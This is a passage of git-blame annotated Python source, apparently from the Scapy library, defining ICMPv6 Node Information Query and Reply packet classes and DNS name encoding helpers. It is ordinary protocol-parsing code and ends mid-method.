2121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  3: "IPv6 Address",
2122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  4: "IPv4 Address" }
2123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2124c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2125c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NIHashret:
2126c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2127c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.nonce
2128c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2129c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NIAnswers:
2130c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
2131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.nonce == other.nonce
2132c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2133c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Buggy; always returns the same value during a session
2134c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NonceField(StrFixedLenField):
2135c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default=None):
2136c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        StrFixedLenField.__init__(self, name, default, 8)
2137c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if default is None:
2138c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.default = self.randval()
2139c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2140caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
2141c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef computeNIGroupAddr(name):
2142caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Compute the NI group Address. Can take a FQDN as input parameter"""
2143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = name.lower().split(".")[0]
2144c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    record = chr(len(name))+name
21450aeb049606bee9335e62afea58479915bd6e2344Pierre LALET    h = md5(record.encode("utf8"))
2146c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    h = h.digest()
2147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4])
2148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return addr
2149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2150c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
21510d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Here is the deal. First, that protocol is a piece of shit. Then, we
2152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# provide 4 classes for the different kinds of Requests (one for every
2153c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same
21540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# data field class that is made to be smart by guessing the specific
21550d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# type of value provided :
2156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
2157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0,
21580d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#   if not overridden by user
2159c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - IPv4 if acceptable for inet_pton(AF_INET,  ): code is set to 2,
21600d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#   if not overridden
21610d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# - Name in the other cases: code is set to 0, if not overridden by user
2162c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
2163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Internal storage, is not only the value, but the a pair providing
2164c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@)
2165c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
21660d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Note : I merged getfield() and m2i(). m2i() should not be called
21670d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#        directly anyway. Same remark for addfield() and i2m()
2168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
21690d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# -- arno
2170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
21710d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# "The type of information present in the Data field of a query is
21720d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#  declared by the ICMP Code, whereas the type of information in a
2173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#  Reply is determined by the Qtype"
2174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef names2dnsrepr(x):
2176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
2177c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Take as input a list of DNS names or a single DNS name
2178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    and encode it in DNS format (with possible compression)
2179c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    If a string that is already a DNS name in DNS format
2180c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    is passed, it is returned unmodified. Result is a string.
2181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    !!!  At the moment, compression is not implemented  !!!
2182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
21830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2184984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET    if isinstance(x, bytes):
21850aeb049606bee9335e62afea58479915bd6e2344Pierre LALET        if x and x[-1:] == b'\x00': # stupid heuristic
21860aeb049606bee9335e62afea58479915bd6e2344Pierre LALET            return x
21875e76be46bd500492cfc492836eefdc9e48ea9fd6gpotter        x = [x]
2188c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2189c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
2190c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    for n in x:
2191984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET        termin = b"\x00"
2192984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET        if n.count(b'.') == 0: # single-component gets one more
2193984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            termin += b'\x00'
2194984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET        n = b"".join(chb(len(y)) + y for y in n.split(b'.')) + termin
2195984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET        res.append(n)
21961186356a1d73fd59b700d8af05e789d0e8899de6gpotter    return b"".join(res)
2197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef dnsrepr2names(x):
2200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
22010d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    Take as input a DNS encoded string (possibly compressed)
2202c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    and returns a list of DNS names contained in it.
2203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    If provided string is already in printable format
2204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    (does not end with a null character, a one element list
2205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    is returned). Result is a list.
2206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
2207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
2208984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET    cur = b""
2209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while x:
2210b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter        l = orb(x[0])
2211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = x[1:]
2212984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET        if not l:
2213984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            if cur and cur[-1:] == b'.':
2214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cur = cur[:-1]
2215c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res.append(cur)
2216984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            cur = b""
2217b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter            if x and orb(x[0]) == 0: # single component
2218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = x[1:]
2219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            continue
2220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l & 0xc0: # XXX TODO : work on that -- arno
2221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            raise Exception("DNS message can't be compressed at this point!")
2222984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET        cur += x[:l] + b"."
2223984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET        x = x[l:]
2224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return res
2225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIQueryDataField(StrField):
2228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default):
2229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        StrField.__init__(self, name, default)
2230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2h(self, pkt, x):
2232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
2234c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,val = x
2235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 1:
2236c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val = dnsrepr2names(val)[0]
2237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return val
2238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2239c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def h2i(self, pkt, x):
2240d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if x is tuple and isinstance(x[0], int):
2241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
2242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
22430aeb049606bee9335e62afea58479915bd6e2344Pierre LALET        # Try IPv6
22440aeb049606bee9335e62afea58479915bd6e2344Pierre LALET        try:
2245984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            inet_pton(socket.AF_INET6, x.decode())
2246984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            return (0, x.decode())
2247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
2248984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            pass
22490aeb049606bee9335e62afea58479915bd6e2344Pierre LALET        # Try IPv4
22500aeb049606bee9335e62afea58479915bd6e2344Pierre LALET        try:
2251984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            inet_pton(socket.AF_INET, x.decode())
2252984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            return (2, x.decode())
2253984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET        except:
2254984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            pass
2255984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET        # Try DNS
2256984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET        if x is None:
2257984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            x = b""
2258984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET        x = names2dnsrepr(x)
2259984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET        return (1, x)
2260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2261c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
22625e8857410015a93f6371459b2f870432ded39b9fgpotter        x = plain_str(x)
2263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,val = x
2264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 1: # DNS Name
22650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # we don't use dnsrepr2names() to deal with
2266c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # possible weird data extracted info
2267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res = []
2268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while val:
2269b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter                l = orb(val[0])
2270c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                val = val[1:]
2271c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if l == 0:
2272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    break
2273c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                res.append(val[:l]+".")
2274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                val = val[l:]
2275c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            tmp = "".join(res)
2276c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if tmp and tmp[-1] == '.':
2277c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                tmp = tmp[:-1]
2278c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return tmp
2279c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return repr(val)
2280c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2281c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
2282c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        qtype = getattr(pkt, "qtype")
2283c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if qtype == 0: # NOOP
22841186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return s, (0, b"")
2285c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2286c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            code = getattr(pkt, "code")
2287c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if code == 0:   # IPv6 Addr
2288c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16]))
2289c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif code == 2: # IPv4 Addr
2290c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return s[4:], (2, inet_ntop(socket.AF_INET, s[:4]))
2291c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:           # Name or Unknown
22921186356a1d73fd59b700d8af05e789d0e8899de6gpotter                return b"", (1, s)
2293c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2294c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
2295d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if ((isinstance(val, tuple) and val[1] is None) or
2296c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val is None):
22971186356a1d73fd59b700d8af05e789d0e8899de6gpotter            val = (1, b"")
2298c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t = val[0]
2299c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 1:
2300c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + val[1]
2301c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif t == 0:
2302c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + inet_pton(socket.AF_INET6, val[1])
2303c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2304c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + inet_pton(socket.AF_INET, val[1])
2305c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2306c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIQueryCodeField(ByteEnumField):
2307c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
2308c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2309c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            d = pkt.getfieldval("data")
2310c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d is None:
2311c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 1
2312c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d[0] == 0: # IPv6 address
2313c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 0
2314c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d[0] == 1: # Name
2315c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 1
2316c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d[0] == 2: # IPv4 address
2317c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 2
2318c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
2319c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 1
2320c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return x
23210d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2322c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2323c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"}
2324c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2325c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#_niquery_flags = {  2: "All unicast addresses", 4: "IPv4 addresses",
23260d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#                    8: "Link-local addresses", 16: "Site-local addresses",
2327c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                   32: "Global addresses" }
2328c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2329c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# "This NI type has no defined flags and never has a Data Field". Used
2330c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# to know if the destination is up and implements NI protocol.
23310d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6):
2332c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - NOOP Query"
2333c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 139, icmp6types),
2334c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NIQueryCodeField("code", None, _niquery_code),
2335c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2336c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortEnumField("qtype", 0, icmp6_niqtypes),
233777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("unused", 0, 10),
23380d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    FlagsField("flags", 0, 6, "TACLSG"),
233977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    NonceField("nonce", None),
2340c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NIQueryDataField("data", None) ]
2341c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23420d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryName(ICMPv6NIQueryNOOP):
2343c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - IPv6 Name Query"
23440d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    qtype = 2
2345c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23460d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# We ask for the IPv6 address of the peer
2347c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP):
2348c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - IPv6 Address Query"
2349c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 3
2350c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    flags = 0x3E
2351c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23520d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP):
2353c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - IPv4 Address Query"
2354c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 4
2355c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23560d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz_nireply_code = { 0: "Successful Reply",
23570d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                  1: "Response Refusal",
2358c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  3: "Unknown query type" }
2359c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23600d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz_nireply_flags = {  1: "Reply set incomplete",
23610d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    2: "All unicast addresses",
23620d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    4: "IPv4 addresses",
23630d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    8: "Link-local addresses",
23640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                   16: "Site-local addresses",
2365c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   32: "Global addresses" }
2366c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2367c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Internal repr is one of those :
2368c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (0, "some string") : unknow qtype value are mapped to that one
2369c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (3, [ (ttl, ip6), ... ])
23700d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# (4, [ (ttl, ip4), ... ])
2371c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (2, [ttl, dns_names]) : dns_names is one string that contains
23720d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     all the DNS names. Internally it is kept ready to be sent
23730d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     (undissected). i2repr() decode it for user. This is to
2374c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     make build after dissection bijective.
2375c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
2376c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# I also merged getfield() and m2i(), and addfield() and i2m().
2377c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIReplyDataField(StrField):
2378c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2379c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2h(self, pkt, x):
2380c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2381c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
2382c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,val = x
2383c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 2:
2384c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl, dnsnames = val
2385c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val = [ttl] + dnsrepr2names(dnsnames)
2386c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return val
2387c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2388c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def h2i(self, pkt, x):
23890d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        qtype = 0 # We will decode it as string if not
2390c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  # overridden through 'qtype' in pkt
2391c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2392c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # No user hint, let's use 'qtype' value for that purpose
2393d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if not isinstance(x, tuple):
2394c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if pkt is not None:
2395984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET                qtype = pkt.qtype
2396c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2397c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            qtype = x[0]
2398c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x = x[1]
2399c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2400c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # From that point on, x is the value (second element of the tuple)
2401c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2402c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if qtype == 2: # DNS name
2403984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            if isinstance(x, (str, bytes)): # listify the string
2404c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = [x]
2405984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            if isinstance(x, list):
2406984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET                x = [val.encode() if isinstance(val, str) else val for val in x]
2407984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            if x and isinstance(x[0], six.integer_types):
2408984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET                ttl = x[0]
2409984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET                names = x[1:]
2410984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            else:
2411984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET                ttl = 0
2412984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET                names = x
2413c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return (2, [ttl, names2dnsrepr(names)])
2414c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2415c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype in [3, 4]: # IPv4 or IPv6 addr
2416984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            if not isinstance(x, list):
2417c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = [x] # User directly provided an IP, instead of list
2418c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2419984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            def fixvalue(x):
2420984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET                # List elements are not tuples, user probably
2421984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET                # omitted ttl value : we will use 0 instead
2422984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET                if not isinstance(x, tuple):
2423984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET                    x = (0, x)
2424984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET                # Decode bytes
2425984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET                if six.PY3 and isinstance(x[1], bytes):
2426984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET                    x = (x[0], x[1].decode())
2427c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return x
2428c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2429984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET            return (qtype, [fixvalue(d) for d in x])
2430c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2431c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return (qtype, x)
2432c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2433c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2434c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
